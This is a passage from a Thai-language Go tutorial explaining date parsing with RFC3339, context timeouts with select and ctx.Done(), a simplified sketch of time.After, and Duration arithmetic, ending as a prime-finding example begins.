&#xE44;&#xE14;&#xE49;&#xE17;&#xE35;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; In(userLocation)</p><p><strong>ISO 8601 Format &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38; Timezone &#xE02;&#xE2D;&#xE07; User &#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE34;&#xE22;&#xE21;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE48;&#xE32;&#xE19; API &#xE14;&#xE49;&#xE27;&#xE22;&#xE40;&#xE0A;&#xE48;&#xE19;&#xE01;&#xE31;&#xE19;</strong></p><figure class="kg-card kg-code-card"><pre><code>{
  &quot;statement_date&quot;: &quot;2024-01-20T07:00:00+07:00&quot;,
  &quot;due_date&quot;: &quot;2024-02-14T07:00:00+07:00&quot;
}</code></pre><figcaption>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE14;&#xE37;&#xE2D;&#xE19;&#xE21;&#xE01;&#xE23;&#xE32;&#xE04;&#xE21;</figcaption></figure><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49; Function &quot;<strong>time.Parse</strong>&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A; <strong>String</strong> &#xE08;&#xE32;&#xE01; ISO 8601 Format &#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19; Go &#xE14;&#xE49;&#xE27;&#xE22; Layout String &quot;<strong>time.RFC3339</strong>&quot; &#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>// &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; ISO 8601 &#xE08;&#xE32;&#xE01; API
statementDateStr := &quot;2024-01-20T07:00:00+07:00&quot;

// &#xE43;&#xE0A;&#xE49; time.RFC3339 &#xE40;&#xE1B;&#xE47;&#xE19; Layout
statementDate, err := time.Parse(time.RFC3339, statementDateStr)</code></pre><p><strong>Context</strong> &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE1B;&#xE49;&#xE32;&#xE22;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1E;&#xE34;&#xE40;&#xE28;&#xE29;&#xE15;&#xE34;&#xE14;&#xE2D;&#xE22;&#xE39;&#xE48; &#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE2A;&#xE48;&#xE07;&#xE1B;&#xE49;&#xE32;&#xE22;&#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE25;&#xE34;&#xE01;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE48;&#xE07;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Function &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE16;&#xE36;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE23;&#xE39;&#xE49;&#xE27;&#xE48;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE1B;&#xE49;&#xE32;&#xE22;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07; Import Package &quot;<strong>context</strong>&quot;</p><p><a href="https://pkg.go.dev/golang.org/x/net@v0.28.0/context?ref=blog.pjjop.org">Context &#xE21;&#xE35;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;</a> &#xE40;&#xE0A;&#xE48;&#xE19; context.Background() &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Context &#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE23;&#xE30;&#xE14;&#xE32;&#xE19;&#xE27;&#xE32;&#xE14;&#xE23;&#xE39;&#xE1B;&#xE27;&#xE48;&#xE32;&#xE07; &#xE46; &#xE2A;&#xE48;&#xE27;&#xE19; context.WithTimeout() &#xE40;&#xE1B;&#xE47;&#xE19; Context &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE49;&#xE32;&#xE22;&#xE1A;&#xE2D;&#xE01;&#xE27;&#xE48;&#xE32;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE19;&#xE32;&#xE19;&#xE40;&#xE17;&#xE48;&#xE32;&#xE44;&#xE2B;&#xE23;&#xE48;</p><p>context.WithTimeout() &#xE23;&#xE31;&#xE1A; Parameter &#xE40;&#xE1B;&#xE47;&#xE19; <strong>context.Background()</strong> &#xE41;&#xE25;&#xE30;<strong>&#xE40;&#xE27;&#xE25;&#xE32;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19; </strong>&#xE2B;&#xE23;&#xE37;&#xE2D; Timeout &#xE42;&#xE14;&#xE22;&#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; <strong>Context &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Timeout </strong>&#xE41;&#xE25;&#xE30; <strong>Function &quot;Cancel&quot;</strong> &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01; Context &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D; Clear &#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23; &#xE01;&#xE48;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Timeout</p><pre><code>ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE21;&#xE32;&#xE14;&#xE39;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Context &#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A; select case &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE43;&#xE2B;&#xE49; Fucntion &quot;makeCoffee&quot; &#xE2B;&#xE22;&#xE38;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE16;&#xE49;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE0A;&#xE07;&#xE01;&#xE32;&#xE41;&#xE1F;&#xE40;&#xE01;&#xE34;&#xE19;&#xE04;&#xE48;&#xE32; Timeout &#xE01;&#xE31;&#xE19;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><strong>select case</strong> &#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19; &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Channel &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23; <strong>&#xE1F;&#xE31;&#xE07;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE13;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE08;&#xE32;&#xE01; Channel</strong> &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE15;&#xE32;&#xE21; case &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;</p><p>select case &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49; Program &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xE40;&#xE2B;&#xE15;&#xE38;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;</p><p>&#xE19;&#xE36;&#xE01;&#xE20;&#xE32;&#xE1E;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE22;&#xE37;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE2B;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE15;&#xE39;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE1A;&#xE32;&#xE19; &#xE1B;&#xE23;&#xE30;&#xE15;&#xE39;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE1A;&#xE32;&#xE19; (case) &#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE17;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE0A;&#xE48;&#xE2D;&#xE07;&#xE17;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23; (Channel) &#xE43;&#xE19;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;</p><p><strong>select &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE22;&#xE37;&#xE19;&#xE23;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&#xE08;&#xE32;&#xE01;&#xE1B;&#xE23;&#xE30;&#xE15;&#xE39;&#xE40;&#xE2B;&#xE25;&#xE48;&#xE32;&#xE19;&#xE35;&#xE49;!</strong></p><p>&#xE16;&#xE49;&#xE32;&#xE21;&#xE35;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&#xE14;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE1B;&#xE23;&#xE30;&#xE15;&#xE39;&#xE1A;&#xE32;&#xE19;&#xE43;&#xE14; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE1B;&#xE23;&#xE30;&#xE15;&#xE39;&#xE1A;&#xE32;&#xE19;&#xE19;&#xE31;&#xE49;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE15;&#xE32;&#xE21;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE33; &#xE16;&#xE49;&#xE32;&#xE21;&#xE35;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&#xE14;&#xE31;&#xE07;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE08;&#xE32;&#xE01;&#xE1B;&#xE23;&#xE30;&#xE15;&#xE39;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE1A;&#xE32;&#xE19; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE38;&#xE48;&#xE21;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE1B;&#xE23;&#xE30;&#xE15;&#xE39;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE1A;&#xE32;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE21;&#xE31;&#xE19; &#xE41;&#xE15;&#xE48;&#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&#xE40;&#xE25;&#xE22; &#xE41;&#xE25;&#xE30;&#xE21;&#xE35; default case &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE33;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; default</p><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49; select &#xE08;&#xE30;&#xE23;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07; Channel &#xE08;&#xE32;&#xE01; 2 case &#xE42;&#xE14;&#xE22;&#xE43;&#xE19; case &#xE41;&#xE23;&#xE01; &#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE07;&#xE01;&#xE32;&#xE41;&#xE1F;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32; 2 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; (<strong>time.After(2 * time.Second)</strong>) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE1A; 2 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;&#xE08;&#xE30;&#xE40;&#xE01;&#xE34;&#xE14;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&#xE14;&#xE31;&#xE07;&#xE17;&#xE35;&#xE48; Channel &#xE19;&#xE35;&#xE49; &#xE2A;&#xE48;&#xE27;&#xE19; case &#xE17;&#xE35;&#xE48;&#xE2A;&#xE2D;&#xE07; &#xE08;&#xE30;&#xE40;&#xE01;&#xE34;&#xE14;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&#xE14;&#xE31;&#xE07;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Context &#xE40;&#xE01;&#xE34;&#xE14; Timeout &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Channel ctx.Done() &#xE16;&#xE39;&#xE01;&#xE1B;&#xE34;&#xE14;</p><pre><code>package main

import (
	&quot;context&quot;
	&quot;fmt&quot;
	&quot;time&quot;
)

func makeCoffee(ctx context.Context) {
	select {
	case &lt;-time.After(2 * time.Second):
		fmt.Println(&quot;&#xE01;&#xE32;&#xE41;&#xE1F;&#xE02;&#xE2D;&#xE07;&#xE04;&#xE38;&#xE13;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;! &#x2615;&quot;)
	case &lt;-ctx.Done():
		fmt.Println(&quot;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE07;&#xE01;&#xE32;&#xE41;&#xE1F;: &quot; + ctx.Err().Error())
	}
}

func main() {
	fmt.Println(&quot;&#xE22;&#xE34;&#xE19;&#xE14;&#xE35;&#xE15;&#xE49;&#xE2D;&#xE19;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE49;&#xE32;&#xE19;&#xE01;&#xE32;&#xE41;&#xE1F; Go!&quot;)

	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; context &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE40;&#xE27;&#xE25;&#xE32;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14; 3 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;
	ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
	defer cancel()

	fmt.Println(&quot;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE0A;&#xE07;&#xE01;&#xE32;&#xE41;&#xE1F;...&quot;)
	makeCoffee(ctx)

	fmt.Println(&quot;&#xE02;&#xE2D;&#xE1A;&#xE04;&#xE38;&#xE13;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;!&quot;)
}</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07; Function &quot;After&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE21;&#xE31;&#xE19;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>package time

import (
    &quot;time&quot;
)

func After(d Duration) &lt;-chan Time {
    c := make(chan Time, 1)
    go func() {
        time.Sleep(d)
        c &lt;- time.Now()
    }()
    return c
}</code></pre><p>&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE08;&#xE30;&#xE23;&#xE31;&#xE1A;&#xE1E;&#xE32;&#xE23;&#xE32;&#xE21;&#xE34;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C; d &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; Duration &#xE0B;&#xE36;&#xE48;&#xE07; Duration &#xE04;&#xE37;&#xE2D; &#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE17;&#xE33;&#xE01;&#xE34;&#xE08;&#xE01;&#xE23;&#xE23;&#xE21;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; (&#xE21;&#xE35;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE19;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Nanosecond)</p><pre><code>time.Second      // &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Duration &#xE40;&#xE1B;&#xE47;&#xE19; 1 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;
time.Minute      // &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Duration &#xE40;&#xE1B;&#xE47;&#xE19; 1 &#xE19;&#xE32;&#xE17;&#xE35;
time.Hour        // &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Duration &#xE40;&#xE1B;&#xE47;&#xE19; 1 &#xE0A;&#xE31;&#xE48;&#xE27;&#xE42;&#xE21;&#xE07;
2 * time.Minute  // &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Duration &#xE40;&#xE1B;&#xE47;&#xE19; 2 &#xE19;&#xE32;&#xE17;&#xE35;
30 * time.Second // &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Duration &#xE40;&#xE1B;&#xE47;&#xE19; 30 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;

1*time.Hour + 35*time.Minute // &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Duration &#xE40;&#xE1B;&#xE47;&#xE19; 1 &#xE0A;&#xE31;&#xE48;&#xE27;&#xE42;&#xE21;&#xE07; 35 &#xE19;&#xE32;&#xE17;&#xE35;
1*time.Second + 500*time.Millisecond // &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Duration &#xE40;&#xE1B;&#xE47;&#xE19; 1.5 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;
</code></pre><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; time.Duration &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32; &#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Program &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;&#xE41;&#xE25;&#xE30;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE34;&#xE14;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE31;&#xE1A;&#xE2A;&#xE19;&#xE43;&#xE19;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Buffer Channel &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE04;&#xE48;&#xE32; Time &#xE44;&#xE14;&#xE49; 1 &#xE04;&#xE48;&#xE32; &#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Goroutine &#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE22;&#xE01;&#xE44;&#xE1B;&#xE15;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE32;&#xE01;</p><p>&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Goroutine &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; time.Sleep(d) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE01;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE23;&#xE2D;&#xE15;&#xE32;&#xE21;&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE23;&#xE2D;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08; &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19; (time.Now()) &#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Channel (&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&#xE14;&#xE31;&#xE07;&#xE17;&#xE35;&#xE48; Channel &#xE19;&#xE35;&#xE49;) &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19; return c &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE19;&#xE2D;&#xE01; Goroutine &#xE08;&#xE36;&#xE07;&#xE16;&#xE39;&#xE01;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Channel</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23; Timeout &#xE02;&#xE2D;&#xE07; Function &#xE14;&#xE49;&#xE27;&#xE22; Context &#xE40;<strong>&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Function &quot;findPrimes&quot; </strong>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2B;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE17;&#xE35;&#xE48;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32; Limit</p><p>&#xE27;&#xE34;&#xE18;&#xE35;&#xE19;&#xE35;&#xE49;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; 